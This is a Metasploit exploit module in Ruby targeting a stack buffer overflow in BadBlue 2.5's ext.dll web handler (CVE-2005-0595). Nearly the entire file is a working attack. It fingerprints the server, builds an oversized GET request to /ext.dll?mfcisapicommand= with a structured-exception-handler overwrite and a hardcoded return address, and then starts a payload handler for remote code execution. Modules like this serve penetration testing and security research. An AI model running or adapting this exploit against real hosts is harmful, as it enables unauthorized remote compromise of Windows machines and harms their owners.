BadBlue 2.5 - 'ext.dll' Remote Buffer Overflow (Metasploit)

##
# $Id: badblue_ext_overflow.rb 9719 2010-07-07 17:38:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
	# However, a proper Server header is returned when requesting /index.html or using HEAD.
	HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BadBlue 2.5 EXT.dll Buffer Overflow',
			'Description'    => %q{
				This is a stack buffer overflow exploit for BadBlue version 2.5.
			},
			'Author'         => 'acaro <acaro [at] jervus.it>',
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9719 $',
			'References'     =>
				[
					[ 'CVE', '2005-0595' ],
					[ 'OSVDB', '14238' ],
					[ 'BID', '7387' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
				],
			'DisclosureDate' => 'Apr 20 2003',
			'DefaultTarget'  => 0))
	end

	def check
		info = http_fingerprint  # check method
		if (info =~ /BadBlue\/2\.5/)
			return Exploit::CheckCode::Vulnerable
		end
		Exploit::CheckCode::Safe
	end

	def exploit
		uri     = "GET /ext.dll?mfcisapicommand="
		sploit  = rand_text_alphanumeric(500)
		seh     = generate_seh_payload(target.ret)
		sploit[492, seh.length] = seh
		uri << sploit

		print_status("Trying target #{target.name}...")
		send_request_raw({ 'uri' => uri })

		handler
	end

end